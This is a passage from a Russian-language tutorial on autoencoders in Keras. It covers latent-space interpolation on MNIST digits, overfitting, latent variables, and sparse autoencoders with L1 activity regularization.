frm, to = x_test[y_test == 8][1:3]
plot_homotopy(frm, to)
```
Если же двигаться по кривой между кодами (и если многообразие кодов хорошо параметризовано), то декодер переведет эту кривую из пространства кодов, в кривую, не покидающую определяющее многообразие в пространстве объектов. То есть промежуточные объекты на кривой будут принадлежать генеральной совокупности.
```
codes = c_encoder.predict(x_test[y_test == 8][1:3])
plot_homotopy(codes[0], codes[1], n=10, decoder=c_decoder)
```
Промежуточные цифры — вполне себе хорошие восьмерки.
Таким образом, можно сказать, что автоэнкодер, по крайней мере локально, выучил форму определяющего многообразия.
### Переобучение автоэнкодера
Для того чтобы автоэнкодер мог научиться вычленять какие-то сложные закономерности, обобщающие способности энкодера и декодера должны быть ограничены, иначе даже автоэнкодер с одномерным кодом сможет просто провести одномерную кривую через каждую точку в обучающей выборке, т.е. просто запомнить каждый объект. Но это сложное многообразие, которое построит автоэнкодер, не будет иметь много общего с определяющим генеральную совокупность многообразием.
Возьмем ту же задачу с искусственными данными, обучим тот же глубокий автоэнкодер на очень маленьком подмножестве точек и посмотрим на получившееся многообразие:
**Код**
```
dae = deep_ae()
dae.compile(Adam(0.0003), 'mse')
x_train_oft = np.vstack([dots[idxs]]*4000)
```
```
dae.fit(x_train_oft, x_train_oft, epochs=200, batch_size=15, verbose=1)
```
```
pdots_d = dae.predict(dots, batch_size=30)
vpdots_d = pdots_d[idxs]
plt.figure(figsize=(12, 10))
plt.xlim([-2.5, 2.5])
plt.scatter(dots[:, 0], dots[:, 1], zorder=1)
plt.plot(x1, fx, color="red", linewidth=4, zorder=10)
plt.plot(pdots_d[:,0], pdots_d[:,1], color='white', linewidth=6, zorder=3)
plt.plot(pdots_pca[:,0], pdots_pca[:,1], color='orange', linewidth=4, zorder=4)
plt.scatter(vpdots_d[:,0], vpdots_d[:,1], color=colors*5, marker='*', s=150, zorder=5)
plt.scatter(vdots[:,0], vdots[:,1], color=colors*5, s=150, zorder=6)
plt.grid(False)
```
Видно, что белая кривая прошла через каждую точку данных и слабо похожа на определяющую данные красную кривую: на лицо типичное переобучение.
Скрытые переменные
------------------
Можно рассмотреть генеральную совокупность как некоторый процесс генерации данных , который зависит от некоторого количества скрытых переменных  (случайных величин). Размерность данных  может быть намного выше, чем размерность скрытых случайных величин , которые эти данные определяют. Рассмотрим процесс генерации очередной цифры: то, как будет выглядеть цифра, может зависеть от множества факторов:
* желаемой цифры,
* толщины штриха,
* наклона цифры,
* аккуратности,
* и т.д.
Каждый из этих факторов имеет свое априорное распределение, например, вероятность того, что будет нарисована восьмерка — это распределение Бернулли с вероятностью 1/10, толщина штриха тоже имеет некоторое свое распределение и может зависеть как от аккуратности, так и от своих скрытых переменных, таких как толщина ручки или темперамент человека (опять же со своими распределениями).
Автоэнкодер сам в процессе обучения должен прийти к скрытым факторам, например, таким как перечисленные выше, каким-то их сложным комбинациям, или вообще к совсем другим. Однако, то совместное распределение, которое он выучит, вовсе не обязано быть простым, это может быть какая-то сложная кривая область. (Декодеру можно передать и значения извне этой области, вот только результаты уже не будут из определяющего многообразия, а из его случайного непрерывного продолжения).
Именно поэтому мы не можем просто генерировать новые  из распределения этих скрытых переменных. Сложно оставаться в пределах области, а еще сложнее как-то интерпретировать значения скрытых переменных в этой кривой области.
Для определенности введем некоторые обозначения на примере цифр:
*  — случайная величина картинки 28х28,
*  — случайная величина скрытых факторов, определяющих цифру на картинке,
*  — вероятностное распределение изображений цифр на картинках, т.е. вероятность конкретного изображения цифры в принципе быть нарисованным (если картинка не похожа на цифру, то эта вероятность крайне мала),
*  — вероятностное распределение скрытых факторов, например, распределение толщины штриха,
*  — распределение вероятности скрытых факторов при заданной картинке (к одной и той же картинке могут привести различное сочетание скрытых переменных и шума),
*  — распределение вероятности картинок при заданных скрытых факторах, одни и те же факторы могут привести к разным картинкам (один и тот же человек в одних и тех же условиях не рисует абсолютно одинаковые цифры),
*  — совместное распределение  и , наиболее полное понимание данных, необходимое для генерации новых объектов.
 нам приближает декодер, но  на данный момент мы пока еще не понимаем.
Посмотрим, как распределены скрытые переменные в обычном автоэнкодере:
**Код**
```
from keras.layers import Flatten, Reshape
from keras.regularizers import L1L2
def create_deep_sparse_ae(lambda_l1):
# Размерность кодированного представления
encoding_dim = 16
# Энкодер
input_img = Input(shape=(28, 28, 1))
flat_img = Flatten()(input_img)
x = Dense(encoding_dim*4, activation='relu')(flat_img)
x = Dense(encoding_dim*3, activation='relu')(x)
x = Dense(encoding_dim*2, activation='relu')(x)
encoded = Dense(encoding_dim, activation='linear', activity_regularizer=L1L2(lambda_l1, 0))(x)
# Декодер
input_encoded = Input(shape=(encoding_dim,))
x = Dense(encoding_dim*2, activation='relu')(input_encoded)
x = Dense(encoding_dim*3, activation='relu')(x)
x = Dense(encoding_dim*4, activation='relu')(x)
flat_decoded = Dense(28*28, activation='sigmoid')(x)
decoded = Reshape((28, 28, 1))(flat_decoded)
# Модели
encoder = Model(input_img, encoded, name="encoder")
decoder = Model(input_encoded, decoded, name="decoder")
autoencoder = Model(input_img, decoder(encoder(input_img)), name="autoencoder")
return encoder, decoder, autoencoder
encoder, decoder, autoencoder = create_deep_sparse_ae(0.)
autoencoder.compile(optimizer=Adam(0.0003), loss='binary_crossentropy')
```
```
autoencoder.fit(x_train, x_train,
epochs=100,
batch_size=64,
shuffle=True,
validation_data=(x_test, x_test))
```
```
n = 10
imgs = x_test[:n]
decoded_imgs = autoencoder.predict(imgs, batch_size=n)
plot_digits(imgs, decoded_imgs)
```
Вот так выглядят восстановленные этим энкодером изображения:
**Изображения**
Совместное распределение скрытых переменных 
```
codes = encoder.predict(x_test)
sns.jointplot(codes[:,1], codes[:,3])
```
Видно, что совместное распределение  имеет сложную форму;  и  зависимы друг от друга.
Есть ли какой-то способ контролировать распределения скрытых переменных ?
Самый простой способ — добавить регуляризатор  или  на значения , это добавит априорные предположения на распределения скрытых переменных, соответственно, лапласса или нормальное (похоже на априорное распределение, добавляемое на значения весов при регуляризации).
Регуляризатор вынуждает автоэнкодер искать скрытые переменные, которые распределены по нужным законам, получится ли у него — другой вопрос. Однако это никак не заставляет делать их независимыми, т.е. .
Посмотрим на совместное распределение скрытых параметров в разреженом автоэнкодере.
**Код и визуализация**
```
s_encoder, s_decoder, s_autoencoder = create_deep_sparse_ae(0.00001)
s_autoencoder.compile(optimizer=Adam(0.0003), loss='binary_crossentropy')
```
```
s_autoencoder.fit(x_train, x_train, epochs=200, batch_size=256, shuffle=True,
validation_data=(x_test, x_test))
```
```
imgs = x_test[:n]
decoded_imgs = s_autoencoder.predict(imgs, batch_size=n)
plot_digits(imgs, decoded_imgs)
```
```
codes = s_encoder.predict(x_test)
snt.jointplot(codes[:,1], codes[:,3])
```
 и  все так же зависимы друг от друга, но теперь хотя бы распределены вокруг 0, и даже более или менее нормально.
О том, как контролировать скрытое пространство, так, чтобы из него уже можно было осмысленно генерировать изображения — в [следующей части](https://habrahabr.ru/post/331552//) про вариационные автоэнкодеры (VAE).
Полезные ссылки и литература
----------------------------
Этот пост основан на главе про [автоэнкодеры](http://www.deeplearningbook.org/contents/autoencoders.html) (в частности подглавы *Learning maifolds with autoencoders*) в *Deep Learning Book*. | https://habr.com/ru/post/331500/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.